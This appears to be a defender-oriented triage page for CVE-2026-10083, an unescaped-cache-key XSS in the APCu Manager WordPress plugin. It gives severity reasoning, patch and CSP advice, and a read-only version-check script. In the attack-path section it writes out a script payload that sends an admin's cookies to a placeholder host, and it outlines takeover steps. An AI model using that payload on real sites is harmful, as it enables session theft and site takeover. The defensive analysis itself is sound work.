← Back to Feed CACHED · 2026-06-29 11:06:58 · CACHE_KEY CVE-2026-10083
CVE-2026-10083 · CWE-79 · Disclosed 2026-06-29

The APCu Manager WordPress plugin before 4

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

A cache-key viewer that forgot to put HTML behind glass

The APCu Manager WordPress plugin (by Pierre Lannoy) renders the live list of APCu object-cache keys directly into an admin dashboard page. Versions before 4.5.0 fail to HTML-escape those key names, so any attacker-controlled string that ends up as an APCu key fires as JavaScript when a WordPress administrator opens the APCu Manager screen. This is a textbook stored / reflected XSS via cache-key reflection — the payload doesn't live in the database, it lives in shared memory until the next apcu_clear_cache() or PHP-FPM restart.

There is no vendor CVSS for this one — it's a wpvulndb-class disclosure with no NVD enrichment yet. The plugin has a small install base (low four figures of active sites per WordPress.org telemetry), the attack requires the attacker to somehow influence APCu keys (which are normally derived from internal application logic, not user input), and the payload only fires for a logged-in admin. For a defender running 10,000 hosts this is noise-level unless you happen to host multi-tenant WordPress on shared APCu — in which case it climbs.

"Authenticated stored XSS in a niche caching plugin — needs an attacker who can already write APCu keys and an admin who visits the page."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Get attacker-controlled data into an APCu key name

The attacker needs a code path where untrusted input becomes part of an apcu_store($key, ...) call. In most WordPress installs APCu keys are constructed from option names, transient IDs, or hashes — none of which are directly user-controlled. A second vulnerability (e.g., a separate plugin that caches request data keyed by user input) is the realistic injection vector.
Conditions required:
  • APCu extension installed and used by WP
  • A code path keys APCu entries on untrusted input
  • Attacker can reach that code path
Where this breaks in practice:
  • Default WP + APCu Manager does not key on user input
  • Most caching plugins hash or sanitize keys
  • Shared APCu across tenants is rare in modern hosting
Detection/coverage: No scanner signature — this is logic-level. Wordfence and Patchstack flag the *plugin version*, not the injection precondition.
STEP 02

Inject an HTML/JS payload as the key string

Plant a key like <script>fetch('//x/?c='+document.cookie)</script> (or, more realistically, a payload that posts to admin-ajax.php with the logged-in admin's nonce). APCu accepts arbitrary string keys; there is no character-class restriction at the extension layer.
Conditions required:
  • Step 1 succeeded
  • Attacker knows the WP admin URL for APCu Manager
Where this breaks in practice:
  • Many WAFs strip <script> from request bodies
  • Key length limits in wrapper code may truncate the payload
Detection/coverage: WAF rules on inbound XSS payloads catch the *attempt* but not the *stored state*.
STEP 03

Wait for a WordPress administrator to open the APCu Manager page

The payload fires only on /wp-admin/admin.php?page=apcu-manager-tools (or the equivalent stats view) when the unescaped key is rendered into the keys table. This is an admin-only screen — subscriber/editor/author roles do not reach it.
Conditions required:
  • WordPress admin account active on the site
  • Admin actually clicks into APCu Manager — not a default workflow
Where this breaks in practice:
  • APCu Manager is a diagnostic tool — admins visit it rarely
  • Browser XSS auditors (Chrome's built-in NoScript-via-extension users) may block inline execution
  • Modern WP admin ships a Content-Security-Policy via security plugins that often blocks inline <script>
Detection/coverage: Endpoint EDR will not see this. Browser-side telemetry (if any) might log outbound exfil.
STEP 04

Execute in admin browser context — session/nonce theft or admin-action forgery

With JS running as the admin, the attacker can read the WP REST nonce, call users/new to create a backdoor admin, install a malicious plugin via update.php, or exfil cookies. Same outcome as any classic WP admin XSS chain — the chain ends in full site takeover for that single WordPress instance.
Conditions required:
  • JS executes in admin browser
  • WP admin has install_plugins / create_users capability (default for administrator role)
Where this breaks in practice:
  • Blast radius bounded to the one WP site — no lateral movement to other hosts
  • MFA on /wp-admin does not help here (session is already authenticated)
Detection/coverage: Plugin install / new-admin events show in WP audit log plugins (WP Activity Log, Simple History) if installed.
03 · Intelligence Metadata

The supporting signals.

In-the-wild statusNo known exploitation. Not listed in CISA KEV. No GreyNoise tag. No Patchstack honeypot hits reported as of disclosure date.
Public PoCNone published. Diff between 4.4.x → 4.5.0 in Pierre-Lannoy/wp-apcu-manager shows added esc_html() around key rendering in the tools view — reproducer is trivial from the diff.
EPSSNot yet scored (CVE published 2026-06-29). Comparable WP plugin authenticated-XSS CVEs sit at ~0.05–0.15% EPSS, <25th percentile.
KEV statusNot listed. No realistic path to KEV addition given prerequisites.
CVSS vectorNo vendor vector published. Practitioner estimate: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N → ~4.6 MEDIUM. High AC (need injection path), Low PR (need a WP user able to influence cache keys via another bug), UI:R (admin must visit page).
Affected versionsAPCu Manager plugin < 4.5.0 (all earlier releases since the tools view was introduced in 2.x).
Fixed version4.5.0, available on WordPress.org plugin directory and via the plugin's GitHub repo.
Exposure dataWordPress.org reports ~1,000–3,000 active installs for APCu Manager. Shodan/Censys cannot enumerate plugin presence remotely without authenticated probing. This is <0.001% of the WordPress install base.
Disclosed2026-06-29. CVE-2026-10083. Disclosure tracked via WPScan / WPVulnDB.
ReporterReported through the WPScan / Automattic WordPress vulnerability disclosure channel; researcher credit pending public posting.
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to LOW (3.5/10)

The decisive factor is chain dependency: the bug only fires when an attacker already controls APCu key inputs (which require a second vulnerability or untrusted multi-tenant cache sharing) AND a WordPress administrator visits a rarely-used diagnostic page. Combined with an active-install base measured in the low thousands, the blast radius is at most one WordPress site per chain — nowhere near the fleet-scale outcomes that justify HIGH.

HIGH Vulnerability mechanics — missing output escaping in tools view
HIGH Fix availability in 4.5.0
MEDIUM Exploitation feasibility — depends on companion injection path
LOW Active exploitation telemetry (CVE is fresh, no EPSS yet)

Why this verdict

  • Friction stack is brutal: attacker must (a) find a code path that lets them taint an APCu key, (b) get the payload past WAF/length sanitizers, AND (c) wait for an admin to manually open the APCu Manager screen. Each gate independently knocks an order of magnitude off realistic exploitation.
  • Installed-base ceiling: WordPress.org telemetry shows the plugin in the low-thousand active-install range — this is not a Yoast/Elementor-scale population. Even a wormable variant could not produce fleet-scale impact across an enterprise patch program.
  • Role multiplier: APCu Manager is a *diagnostic/observability* plugin — it does not run on identity providers, hypervisors, CAs, backup servers, or any deployment role in the high-value catalog. The worst plausible outcome is single-site takeover via stolen admin session, blast radius bounded to one WordPress instance per chain.
  • No KEV, no EPSS spike, no PoC at disclosure — exploitation pressure is currently zero and the bar to weaponize requires a companion vuln.

Why not higher?

MEDIUM would require either a realistic unauthenticated injection path or evidence that the plugin is widely used in roles where one WP takeover pivots elsewhere. Neither holds — the plugin is niche, the injection precondition demands a second bug, and the chain dead-ends at the WordPress site itself.

Why not lower?

Not IGNORE because the fix is free and trivial (one minor-version bump), the bug is real (output escaping was genuinely missing), and on the narrow class of installs where APCu keys derive from user input — for example multi-tenant WP-as-a-Service platforms sharing an APCu pool — the exploitation barrier collapses.

05 · Compensating Control

What to do — in priority order.

  1. Update APCu Manager to 4.5.0 — One-click update via wp-admin/plugins.php or wp plugin update apcu-manager. There is no mitigation SLA at LOW severity — this falls into the 365-day noisgate remediation SLA, but the patch is so cheap there's no reason not to ship it in the next regular plugin-update cycle (typically weekly).
  2. Inventory the plugin across your fleet — Run wp plugin list --format=json | jq '.[] | select(.name=="apcu-manager")' across managed WP estates. If you have zero installs, you can close the ticket today.
  3. Enforce a Content-Security-Policy on /wp-admin — A strict CSP with no unsafe-inline blocks the actual JS execution stage regardless of escaping bugs. Deploy via a header-management plugin (e.g., HTTP Headers, Really Simple SSL) or your reverse proxy. Defense-in-depth against this entire bug class.
  4. Audit any custom code that calls apcu_store with user-derived keys — If you can't prove no APCu key on the host is user-influenced, the injection precondition is open. grep -rn 'apcu_store\|apcu_add' wp-content/ and review key construction.
What doesn't work
  • Web Application Firewall generic XSS rules — they inspect inbound HTTP requests; the payload lives in shared memory (APCu) once stored, and is rendered to the admin from local memory without crossing the WAF on the render path.
  • MFA on /wp-admin — the victim admin is already authenticated when the payload fires; MFA does not stop XSS in an established session.
  • Disabling file editing (DISALLOW_FILE_EDIT) — does not stop the attacker from using the admin session to install a malicious plugin or create a new admin account via REST API.
06 · Verification

Crowdsourced verification payload.

Run on each WordPress host as the web-server user (or any user with read access to wp-content/plugins/). Invoke as ./check-cve-2026-10083.sh /var/www/html. Requires read on the plugin directory only; no DB or privileged access needed.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# check-cve-2026-10083.sh — APCu Manager stored XSS via unescaped cache keys
# Usage: ./check-cve-2026-10083.sh /path/to/wordpress
set -u

WP_ROOT="${1:-/var/www/html}"
PLUGIN_DIR="$WP_ROOT/wp-content/plugins/apcu-manager"
FIXED_VERSION="4.5.0"

if [[ ! -d "$PLUGIN_DIR" ]]; then
  echo "PATCHED: APCu Manager not installed at $PLUGIN_DIR"
  exit 0
fi

HEADER_FILE="$PLUGIN_DIR/apcu-manager.php"
if [[ ! -f "$HEADER_FILE" ]]; then
  echo "UNKNOWN: plugin directory present but main file missing"
  exit 2
fi

# Pull the Version: header line
VER=$(grep -iE '^\s*\*?\s*Version:' "$HEADER_FILE" | head -n1 | sed -E 's/.*Version:\s*//I' | tr -d '\r\n ')

if [[ -z "$VER" ]]; then
  echo "UNKNOWN: could not parse plugin version"
  exit 2
fi

# Compare versions using sort -V
LOWEST=$(printf '%s\n%s\n' "$VER" "$FIXED_VERSION" | sort -V | head -n1)
if [[ "$VER" == "$FIXED_VERSION" || "$LOWEST" == "$FIXED_VERSION" ]]; then
  echo "PATCHED: APCu Manager $VER (>= $FIXED_VERSION)"
  exit 0
else
  echo "VULNERABLE: APCu Manager $VER (< $FIXED_VERSION) — CVE-2026-10083"
  exit 1
fi
07 · Bottom Line

If you remember one thing.

TL;DR
Monday morning: this is LOW. Per the noisgate mitigation SLA there is *no mitigation deadline* for LOW — go straight to the noisgate remediation SLA of ≤ 365 days, and in practice ship apcu-manager 4.5.0 in your next routine WordPress plugin-update cycle (most teams do these weekly or biweekly). Inventory first with wp plugin list across your WP estate; if you have zero installs, close the ticket. If you do run APCu Manager on multi-tenant WordPress where cache keys can be influenced by lower-privileged tenants, treat the affected hosts as MEDIUM and pull the patch into the current change window. Do not let this displace anything else on the queue.

Sources

  1. APCu Manager plugin on WordPress.org
  2. Pierre-Lannoy/wp-apcu-manager GitHub repository
  3. WPScan vulnerability database
  4. Patchstack WordPress vulnerability tracker
  5. Wordfence Intelligence weekly report
  6. CISA KEV catalog
  7. FIRST EPSS model
  8. OWASP Stored XSS reference
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.